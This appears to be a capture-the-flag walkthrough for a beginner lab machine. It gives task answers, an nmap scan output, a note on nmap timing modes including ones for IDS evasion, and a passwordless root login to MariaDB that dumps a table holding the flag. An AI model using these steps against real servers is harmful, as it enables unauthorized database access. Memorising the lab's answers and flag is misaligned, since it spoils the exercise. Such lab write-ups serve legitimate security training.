# Task 1

Q:What does the acronym SQL stand for?

A:Structured Query Language

# Task 2

Q: During our scan, which port running mysql do we find?

A:3306

# Task 3

Q: What community-developed MySQL version is the target running?

┌──(root💀kali)-[~]
└─# nmap -A -T4 10.129.242.222 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-05 08:35 CST
Nmap scan report for 10.129.242.222
Host is up (0.59s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql?
|_sslv2: ERROR: Script execution failed (use -d to debug)
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 66
|   Capabilities flags: 63486
|   Some Capabilities: IgnoreSigpipes, Speaks41ProtocolOld, InteractiveClient, Support41Auth, LongColumnFlag, ConnectWithDatabase, ODBCClient, SupportsLoadDataLocal, Speaks41ProtocolNew, SupportsTransactions, SupportsCompression, DontAllowDatabaseTableColumn, FoundRows, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: 48Z?hr$XnA:@o2J[k(#t
|_  Auth Plugin Name: mysql_native_password
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=5/5%OT=3306%CT=1%CU=44775%PV=Y%DS=2%DC=T%G=Y%TM=62731C
OS:D4%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST
OS:11NW7%O6=M54BST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)EC
OS:N(R=Y%DF=Y%T=40%W=FAF0%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
TRACEROUTE (using port 143/tcp)
HOP RTT       ADDRESS
1   542.88 ms 10.10.16.1
2   272.14 ms 10.129.242.222
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 268.37 seconds

参数 -T
是设置时序,数字越高,速度越快

往往选择合适参数的时间超过了所需优化的扫描时间。因此,Nmap 提供了一些简单的方法,使用 6 个时间模板,使用时采用 - T 选项及数字 (0 - 5) 或名称。模板名称有 paranoid (0)、 sneaky (1)、polite (2)、normal (3)、 aggressive (4) 和 insane (5)。前两种模式用 于 IDS 躲避,Polite 模式降低了扫描速度以使用更少的带宽和目标主机资源。默认模式 为 Normal,因此 - T3 实际上是未做任何优化。Aggressive 模式假设用户具有合适及可靠 的网络从而加速扫描。Insane 模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。


A:mariadb

# Task 4

Q:What switch do we need to use in order to specify a login username for the MySQL service?

A: -u

# Task 5

Q:Which username allows us to log into MariaDB without providing a password?

A:root

# Task 6

Q:What symbol can we use to specify within the query that we want to display everything inside a table?

A: *

# Task 7

Q:What symbol do we need to end each query with?

A: ;

# Task 8

连接到 mysql 数据库,密码空
mysql

┌──(root💀kali)-[~]
└─# mysql -h 10.129.242.222 -uroot                                       1
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 75
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.298 sec)
MariaDB [(none)]> use htb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.290 sec)
MariaDB [htb]> select * from config
    -> ;
+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | 7b4bec00d1a39e3dd4e021ec3d915da8 |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
7 rows in set (0.609 sec)
MariaDB [htb]>

得到 flag: 7b4bec00d1a39e3dd4e021ec3d915da8